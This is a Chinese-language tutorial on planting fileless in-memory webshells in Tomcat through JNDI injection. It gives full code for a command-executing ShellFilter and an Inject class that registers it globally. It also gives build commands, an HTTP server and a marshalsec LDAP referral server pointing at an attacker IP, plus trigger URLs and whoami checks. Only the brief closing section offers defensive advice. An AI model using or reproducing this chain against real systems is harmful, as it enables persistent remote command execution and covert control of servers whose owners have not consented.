1. 基本概念
JNDI 注入内存马 是结合 JNDI 注入漏洞 与内存马技术的复合型攻击手段。其核心逻辑是:利用 JNDI 服务动态加载远程恶意类的特性,在受害者服务器上执行恶意代码,进而动态注册 Filter/Servlet 等内存马组件,实现无文件落地的持久化控制。
核心特性
-
跨框架兼容性:依托 JNDI 标准 API(Java Naming and Directory Interface),可在 Tomcat、Jetty 等主流 Web 容器及 Spring Boot 等框架中利用,不依赖特定中间件私有机制。
-
攻击链路隐蔽:恶意类通过远程 HTTP 服务器托管,注入过程仅需触发
context.lookup()
方法,无本地文件写入操作,常规日志难以追踪。 -
依赖版本限制:受 JDK 安全策略影响,JDK 8u191、7u201 及以上版本默认关闭
trustURLCodebase
(远程类加载开关),需特定绕过手段(本文聚焦基础利用场景,暂不展开绕过)。 -
链式攻击能力:JNDI 注入仅作为 “初始入口”,最终通过动态注册 Filter/Servlet 等组件形成内存马,实现长期控制。
常见利用场景
-
攻击者利用存在 JNDI 注入漏洞的组件(如 Log4j2、Fastjson、Struts2),构造恶意 JNDI 地址(LDAP/RMI)诱导受害者触发。
-
通过远程加载的恶意类,在受害者服务器中动态注册全局 Filter 内存马,实现所有请求的命令执行劫持。
-
注入后删除远程恶意类文件,仅留存内存中的 Filter/Servlet,形成 “无迹” 后门。
2. JNDI 基础与注入流程
要理解 JNDI 注入内存马,需先掌握 JNDI 核心机制与注入原理:
2.1 JNDI 核心组件
JNDI 是 Java 用于访问命名服务(如 LDAP、RMI、DNS)的 API,主要包含以下组件:
组件 | 作用 |
---|---|
JNDI API | 提供上层应用调用接口(如 InitialContext 、Context.lookup() )。 |
Naming Manager | 管理命名服务的访问逻辑,负责解析 JNDI 地址并加载远程类。 |
JNDI SPI | 服务提供者接口,对接不同命名服务(如 LDAP 实现、RMI 实现)。 |
命名服务 | 存储对象引用的服务(如 LDAP 服务器、RMI 注册表)。 |
2.2 JNDI 注入核心原理
当 Context.lookup(String name)
方法的 name
参数可控时,攻击者可构造如下恶意链路:
-
攻击者搭建 LDAP/RMI 服务 与 HTTP 服务器:
-
HTTP 服务器托管编译后的恶意类(如
Inject.class
)。 -
LDAP/RMI 服务将对象引用指向 HTTP 服务器的恶意类地址(如
http://attacker-ip/Inject.class
)。
-
-
受害者执行可控代码
context.lookup("ldap://attacker-ip:1389/Inject")
:-
JNDI 客户端向攻击者的 LDAP 服务发送请求。
-
LDAP 服务返回包含恶意类地址的
Reference
对象。 -
JNDI 客户端解析
Reference
,从 HTTP 服务器下载恶意类并实例化。
-
-
恶意类的 静态代码块、构造方法或实例初始化块 自动执行,触发后续内存马注册逻辑。
3. JNDI 注入内存马实现机制
JNDI 注入内存马的核心是 “远程恶意类 + 动态注册内存马”,实现步骤分为 攻击端准备 与 受害者端触发 两部分:
3.1 核心难点突破
JNDI 注入中,恶意类的自动执行代码块(静态块、构造方法)无 Request
等 Web 上下文参数,需通过以下方式获取 Tomcat 核心容器(StandardContext
):
-
Tomcat 容器:通过当前线程的类加载器(
WebappClassLoaderBase
)逐层反射获取StandardContext
,代码逻辑如下:// 获取 Tomcat 的 StandardContext 容器 public StandardContext getTomcatContext() { // 1. 获取当前线程的 Web 应用类加载器 WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 2. 从类加载器获取资源管理对象 StandardRoot StandardRoot standardRoot = (StandardRoot) classLoader.getResources(); // 3. 从 StandardRoot 获取 StandardContext return (StandardContext) standardRoot.getContext(); }
-
Spring Boot 框架:可通过
RequestContextHolder
获取当前请求上下文,进而获取ServletContext
,再反射得到StandardContext
:// Spring 环境中获取 Request HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); ServletContext servletContext = request.getServletContext(); // 后续反射步骤同 Tomcat 环境
3.2 实现步骤拆解
-
攻击端:编写恶意类(Inject.class) 恶意类需包含两部分逻辑:
-
从 HTTP 服务器动态加载内存马组件(如 Filter)的字节码(避免多文件依赖)。
-
反射调用 Tomcat API 注册 Filter 内存马。
-
-
攻击端:搭建服务
-
启动 HTTP 服务器,托管
Inject.class
与 Filter 字节码(或直接在Inject
中内置 Filter 字节码的 Base64 编码)。 -
启动 LDAP/RMI 服务,将对象引用指向 HTTP 服务器的
Inject.class
。
-
-
受害者端:触发 JNDI 注入 受害者执行含可控参数的
lookup()
方法,下载并实例化Inject.class
,触发 Filter 内存马注册。 -
触发内存马 注册完成后,所有请求携带特定参数(如
cmd
)即可执行恶意逻辑。
4. 示例代码(完整攻击链路)
4.1 步骤 1:编写内存马组件(ShellFilter.java)
定义全局 Filter,实现命令执行功能:
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.lang.Process; // 恶意 Filter:接收 cmd 参数执行系统命令 public class ShellFilter implements Filter { public void init(FilterConfig filterConfig) {} // 初始化方法空实现 public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException { // 1. 获取 cmd 参数 String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { // 2. 执行系统命令 Process process = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK")); // 3. 将命令结果写入响应 response.setContentType("text/plain;charset=GBK"); String line; while ((line = br.readLine()) != null) { response.getWriter().println(line); } br.close(); process.destroy(); return; // 终止请求传递,避免干扰结果 } // 无 cmd 参数时,正常转发请求 try { chain.doFilter(request, response); } catch (ServletException e) { e.printStackTrace(); } } public void destroy() {} // 销毁方法空实现 }
4.2 步骤 2:将 ShellFilter 转为 Base64 字节码
由于 JNDI 一次仅能加载一个远程类,需将 ShellFilter
的字节码转为 Base64 编码,嵌入 Inject
类中(避免多文件依赖)。使用 javassist
工具实现编码:
import javassist.ClassPool; import javassist.CtClass; import java.util.Base64; // 生成 ShellFilter.class 的 Base64 编码 public class FilterToBase64 { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); // 加载 ShellFilter 类 CtClass ctClass = pool.get("ShellFilter"); // 转为字节数组并 Base64 编码 byte[] filterBytes = ctClass.toBytecode(); String base64Code = Base64.getEncoder().encodeToString(filterBytes); System.out.println("ShellFilter Base64 编码:"); System.out.println(base64Code); // 复制此结果,后续嵌入 Inject 类 } }
-
依赖:需在
pom.xml
中添加javassist
依赖:<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.29.2-GA</version> </dependency>
4.3 步骤 3:编写恶意注入类(Inject.java)
Inject
类通过构造方法自动执行,核心逻辑为:获取 StandardContext
→ 动态加载 ShellFilter
→ 注册为全局 Filter:
import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.catalina.webresources.StandardRoot; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.servlet.Filter; import java.lang.reflect.Method; import java.util.Base64; public class Inject { // 1. 从 Base64 解码并加载 ShellFilter 类 private Filter loadShellFilter() throws Exception { // 替换为步骤2生成的 ShellFilter Base64 编码 String filterBase64 = "yv66vgAAADQAXwoADwA0CAArCwA1ADYKADcAOAoANwA5BwA6BwA7CgA8AD0KAAcAPgoABgA/CgAGAEAL..." byte[] filterBytes = Base64.getDecoder().decode(filterBase64); // 反射调用 ClassLoader.defineClass 加载类(绕过类加载器检查) ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); // 突破私有方法访问限制 Class<?> filterClass = (Class<?>) defineClassMethod.invoke(classLoader, filterBytes, 0, filterBytes.length); // 实例化 Filter return (Filter) filterClass.newInstance(); } // 2. 获取 Tomcat 的 StandardContext 容器 private StandardContext getStandardContext() { WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardRoot standardRoot = (StandardRoot) classLoader.getResources(); return (StandardContext) standardRoot.getContext(); } // 3. 构造方法:自动执行注入逻辑 public Inject() throws Exception { try { // 获取容器与 Filter 实例 StandardContext context = getStandardContext(); Filter shellFilter = loadShellFilter(); // 4. 创建 Filter 定义(FilterDef) FilterDef filterDef = new FilterDef(); filterDef.setFilterName("jndi-shell-filter"); // 自定义 Filter 名称 filterDef.setFilter(shellFilter); filterDef.setFilterClass(shellFilter.getClass().getName()); // 5. 创建 Filter 映射(FilterMap):全局匹配所有请求 FilterMap filterMap = new FilterMap(); filterMap.setFilterName("jndi-shell-filter"); filterMap.addURLPattern("/*"); // 匹配所有 URL // 6. 注册 Filter 到容器 context.addFilterDef(filterDef); context.addFilterMapBefore(filterMap); // 优先级高于现有 Filter context.filterStart(); // 激活 Filter 机制 System.out.println("JNDI 注入内存马(Filter)注册成功!"); } catch (Exception e) { System.err.println("注入失败:" + e.getMessage()); e.printStackTrace(); } } }
4.4 步骤 4:攻击端搭建服务
4.4.1 编译恶意类
使用 JDK 8u62(低版本,确保 trustURLCodebase=true
)编译 Inject.java
:
javac -cp "tomcat-catalina-8.0.53.jar:javax.servlet-api-4.0.1.jar" Inject.java
-
依赖说明:需引入 Tomcat 核心包(
tomcat-catalina.jar
)与 Servlet API 包,匹配受害者 Tomcat 版本(如 8.0.53)。
4.4.2 启动 HTTP 服务器
将编译后的 Inject.class
放入 HTTP 服务器根目录(如使用 Python 快速搭建):
# 进入 Inject.class 所在目录,启动 HTTP 服务(端口 8081)
python -m SimpleHTTPServer 8081
4.4.3 启动 LDAP 服务
使用 marshalsec
工具(JNDI 注入测试工具)启动 LDAP 服务,将引用指向 HTTP 服务器的 Inject.class
:
# 格式:java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://攻击端IP:HTTP端口/#恶意类名" LDAP端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.100.1:8081/#Inject" 1389
5. 触发与验证步骤
5.1 受害者端触发 JNDI 注入
假设受害者存在 JNDI 注入漏洞(如以下 Servlet 代码),访问含恶意 LDAP 地址的 URL 即可触发:
// 受害者端存在漏洞的 Servlet import javax.naming.InitialContext; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; "/jndi-vuln") (public class VulnServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) { try { String jndiUrl = request.getParameter("url"); // 可控参数 InitialContext context = new InitialContext(); context.lookup(jndiUrl); // 触发 JNDI 注入 } catch (Exception e) { e.printStackTrace(); } } }
-
触发 URL:
http://受害者IP:8080/受害者应用/jndi-vuln?url=ldap://192.168.100.1:1389/Inject
-
注意:即使页面返回 500 错误(如缺少
getObjectInstance
方法),只要Inject
构造方法执行,内存马即注册成功。
5.2 验证内存马
注入成功后,通过任意请求携带 cmd
参数即可执行命令:
-
执行
whoami
(Linux):http://受害者IP:8080/任意路径?cmd=whoami
-
执行
dir
(Windows):http://受害者IP:8080/?cmd=dir
-
响应结果:页面将返回命令执行输出(如当前用户、目录列表)。
6. 关键技术细节与限制
6.1 核心依赖与版本限制
组件 | 版本要求 | 原因 |
---|---|---|
JDK | 8u191 以下、7u201 以下 | 高版本默认关闭 trustURLCodebase ,无法加载远程类 |
Tomcat | 7.x/8.x | 依赖 WebappClassLoaderBase 、StandardRoot 等类,版本不同可能需调整反射逻辑 |
受害者应用 | 需包含 Tomcat 核心依赖 | 否则 Inject 类中无法实例化 StandardContext 等类 |
6.2 与其他内存马的区别
内存马类型 | 注入入口 | 依赖组件 | 隐蔽性 | 生效范围 |
---|---|---|---|---|
Servlet 内存马 | 反射调用 Tomcat API | Tomcat 私有类 | 中 | 绑定特定 URL |
Filter 内存马 | 反射调用 Tomcat API | Tomcat 私有类 | 高 | 全局请求 |
JNDI 注入内存马 | JNDI lookup() 漏洞 |
JNDI API + 远程服务 | 极高 | 全局请求(依赖注册的组件) |
6.3 常见失败原因
-
JDK 版本过高:
trustURLCodebase=false
导致无法加载远程Inject.class
,需使用绕过手段(如利用本地类工厂)。 -
Tomcat 版本不兼容:
WebappClassLoaderBase
在 Tomcat 8.5+ 中部分方法变更,需调整getStandardContext()
逻辑。 -
Base64 编码错误:
ShellFilter
的 Base64 编码包含换行符或错误字符,导致解码失败,需确保编码完整且无多余字符。
7. 总结
-
核心逻辑:JNDI 注入作为 “初始入口”,通过远程加载恶意类触发内存马注册,最终以 Filter/Servlet 形式实现持久化控制。
-
关键 API:
-
JNDI 相关:
InitialContext.lookup()
、Reference
(远程类引用)。 -
Tomcat 相关:
StandardContext.addFilterDef()
、StandardContext.addFilterMapBefore()
。 -
反射相关:
ClassLoader.defineClass()
、Field.setAccessible(true)
(突破访问限制)。
-
-
防御建议:
-
升级 JDK 至 8u191+、7u201+,关闭远程类加载能力。
-
限制
Context.lookup()
方法的参数可控性,避免外部输入直接传入。 -
监控异常的 Filter/Servlet 注册行为,定期检查
StandardContext
中的组件列表。 -
-